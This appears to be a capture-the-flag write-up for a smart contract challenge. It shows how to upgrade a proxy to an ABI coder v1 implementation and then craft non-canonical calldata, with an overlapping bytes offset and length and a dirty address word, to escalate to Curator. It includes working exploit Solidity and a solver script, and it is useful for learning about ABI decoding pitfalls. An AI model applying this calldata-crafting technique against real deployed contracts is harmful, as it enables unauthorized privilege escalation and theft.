0. High-level goal

  • The challenge is solved when the visitor becomes Curator in the house.
  • Only a single reframe of the implementation is allowed.

Key contracts:

  • MirrorProxy is the proxy that actually holds the state.
  • IllusionHouse is the implementation.
  • Setup deploys the proxy and exposes the win check.

1. The proxy and reframe gate (what “pointing the proxy” means)

1.1 Proxy layout

MirrorProxy stores:

  • IMPLEMENTATION_SLOT: the current implementation address (EIP-1967 style).
  • ADMIN_SLOT: the proxy admin (the visitor).

Every call to the proxy is forwarded by delegatecall to the current
implementation:

  • State is stored in the proxy.
  • Logic is in the implementation.

1.2 Initial deployment flow

Setup deploys:

  1. A fresh IllusionHouse implementation (the default, v2 ABI).
  2. MirrorProxy that points to that implementation.
  3. The proxy constructor calls initialize(address) via delegatecall so
    the proxy storage is initialized.

Important: the proxy owns all state. The initialize argument is intentionally ignored; it always sets the proxy itself as Curator.

1.3 Reframe gate

MirrorProxy.reframe(address newImplementation) does the following:

  • Only the visitor (proxy admin) can call it.
  • It can be called once.
  • It checks a metadata-stripped runtime hash equals a precomputed hash of the allowed v1 implementation.
  • It then updates the implementation address in the proxy.

This is the only way to “point the proxy” to your chosen code.

2. The vulnerable logic (patron sigil)

2.1 Relevant code

bytes32 public constant SIGIL_PREIMAGE = bytes32("0xAnan or Tensai?");
bytes32 public constant SIGIL_HASH =
    keccak256(abi.encodePacked(SIGIL_PREIMAGE));

function admit(address patron, bytes calldata sigil) external {
    require(!admitted[msg.sender], "already admitted");
    require(msg.data.length == 4 + 96, "invalid sigil payload");
    require(
        uint256(bytes32(msg.data[36:68])) == 0x20,
        "invalid sigil offset"
    );
    uint256 patronWord = uint256(bytes32(msg.data[4:36]));
    require(patronWord >> 160 != 0, "invalid patron encoding");
    require(roles[patron] == Role.Curator, "invalid patron");
    require(sigil.length == 32, "invalid sigil length");
    require(keccak256(sigil) == SIGIL_HASH, "invalid sigil");
    bytes32 sigilWord = abi.decode(sigil, (bytes32));
    uint96 rank = uint96(uint256(sigilWord) >> 160);
    admitted[msg.sender] = true;
    roles[msg.sender] = Role.Visitor;
    if (rank > 0) {
        maskRank[msg.sender] = rank;
    }
}

2.2 What the sigil does

  • patron is passed as a normal argument and must already be Role.Curator.
    • The proxy sets roles[address(this)] = Role.Curator during initialization, so patron = house always works.
  • The raw patron word must carry a non-zero 96-bit tag in the upper bytes.
    • This is only accepted by ABI coder v1.
  • sigil is a dynamic bytes argument that must be 32 bytes and hash to SIGIL_HASH.
  • The top 96 bits of sigilWord become a hidden rank value.
  • If rank > 0, the caller becomes masked and can call appointCurator.

The core trick is not in the rank math. It is in the ABI decoder rules for bytes offsets under v1 vs v2.

3. ABI decoding: offset overlap (v1 vs v2)

3.1 Normal ABI layout

For admit(address, bytes) the canonical ABI encoding is:

word 0: patron (32 bytes)
word 1: offset to sigil data (0x40)
word 2: sigil length (0x20)
word 3: sigil data (32 bytes)

This is always valid in ABI v2.

3.2 Overlap layout (v1 only)

ABI v1 is less strict about dynamic offsets in the external function decoder and also truncates dirty address words. ABI v2 rejects both:

  • non-canonical addresses (upper 12 bytes must be zero), and
  • non-standard encodings if they violate the decoder checks.

We set the offset to 0x20, so the decoder treats word 1 as both:

  • the offset to the sigil, and
  • the sigil length (32 bytes).

The contract enforces this by requiring:

  • msg.data.length == 4 + 96 (selector + 3 words), and
  • the second word equals 0x20.

Layout:

word 0: patron
word 1: 0x20               (offset and length)
word 2: SIGIL_PREIMAGE     (sigil data)

The decoder computes:

  • sigil.length = 0x20 (passes the length check)
  • sigil.data starts at 0x20 + 0x20 = 0x40 (word 2)
  • keccak256(sigil) equals SIGIL_HASH because sigil data is the preimage

3.2.1 Why rank becomes positive

Rank is derived from the top 96 bits of the 32-byte sigil word:

uint96 rank = uint96(uint256(sigilWord) >> 160);

With the overlap encoding, sigilWord is exactly SIGIL_PREIMAGE (bytes32("0xAnan or Tensai?")).
The first 12 bytes of that ASCII string ("0xAnan or Te") are non-zero, so the shifted value is non-zero and rank > 0.
That is the entire privilege escalation: once rank is positive, the caller can pass the maskRank > 0 gate in appointCurator.

3.3 Why v2 rejects it

ABI v2 enforces canonical addresses:

  • dirty address words (non-zero upper 12 bytes) are rejected before the
    function even runs.

The contract itself enforces the 0x20 offset in msg.data, so the caller must craft the overlap encoding. Only ABI v1 accepts the dirty patron word, so the reframe is necessary.

4. Crafting the calldata

We want patron = house (Curator) and sigil = SIGIL_PREIMAGE.
Use the overlap layout directly in calldata:

bytes4 selector = bytes4(keccak256("admit(address,bytes)"));
address patron = house;
bytes32 sigil = bytes32("0xAnan or Tensai?");
uint256 patronWord = uint256(uint160(patron)) | (1 << 160);
bytes memory data = abi.encodePacked(
    selector,
    bytes32(patronWord),
    bytes32(uint256(0x20)),
    sigil
);

This calldata is intentionally non-canonical. It only decodes under v1.
What the calldata looks like on-chain (100 bytes total):

0x00..0x03  function selector
0x04..0x23  patronWord (32 bytes)
0x24..0x43  offset word (0x20)
0x44..0x63  sigil data (32 bytes)

What the contract reads:

  • msg.data.length == 4 + 96 enforces exactly 3 words after the selector.
  • msg.data[4:36] is the raw patron word.
    • The upper 96 bits are non-zero (the tag), which v2 rejects.
    • v1 truncates to the lower 20 bytes, so patron is valid.
  • msg.data[36:68] is the offset word. It must be 0x20.

How the ABI decoder interprets it (v1):

  • The offset is measured from the start of the arguments block (right after the 4-byte selector). An offset of 0x20 points to the second word.
  • That means the word at args+0x20 doubles as the length of sigil.
  • The sigil data starts at args+0x20+0x20 = args+0x40, which is the third word.
  • We placed SIGIL_PREIMAGE there, so keccak256(sigil) == SIGIL_HASH.

5. Full exploit flow

  1. Deploy the v1 implementation (same code, with pragma abicoder v1;).

  2. Call MirrorProxy(house).reframe(address(newImplementation)) once.

  3. Call admit(address,bytes) with the overlap-encoded calldata.

  4. maskRank[msg.sender] becomes non-zero from the sigil word.

  5. Call appointCurator(visitor) to promote the visitor to Role.Curator.

    The isSolved check only requires that the visitor is Role.Curator.

6. Solver walkthrough (script/HouseOfIllusions.s.sol)

The solver does exactly the manual steps above:

  1. Deploy the approved v1 implementation and reframe the proxy:
IllusionHouseV1 implementation = new IllusionHouseV1();
MirrorProxy proxy = MirrorProxy(payable(house));
proxy.reframe(address(implementation));

On a live chain, the v1 implementation must be deployed on that chain. 2. Craft raw calldata with a dirty patron word and the overlap layout:

bytes4 selector = bytes4(keccak256("admit(address,bytes)"));
bytes32 sigil = bytes32("0xAnan or Tensai?");
uint256 patronWord = uint256(uint160(house)) | (1 << 160);
bytes memory data = abi.encodePacked(
    selector,
    bytes32(patronWord),
    bytes32(uint256(0x20)),
    sigil
);
  1. Send the crafted calldata and then appoint the curator:
_callOrRevert(house, data);
_callOrRevert(house, abi.encodeWithSignature("appointCurator(address)", visitor));

Each step directly corresponds to the exploit flow:

  • reframe enables ABI v1 decoding.
  • data is the non-canonical ABI layout that only v1 accepts.
  • appointCurator succeeds because maskRank > 0 after admission.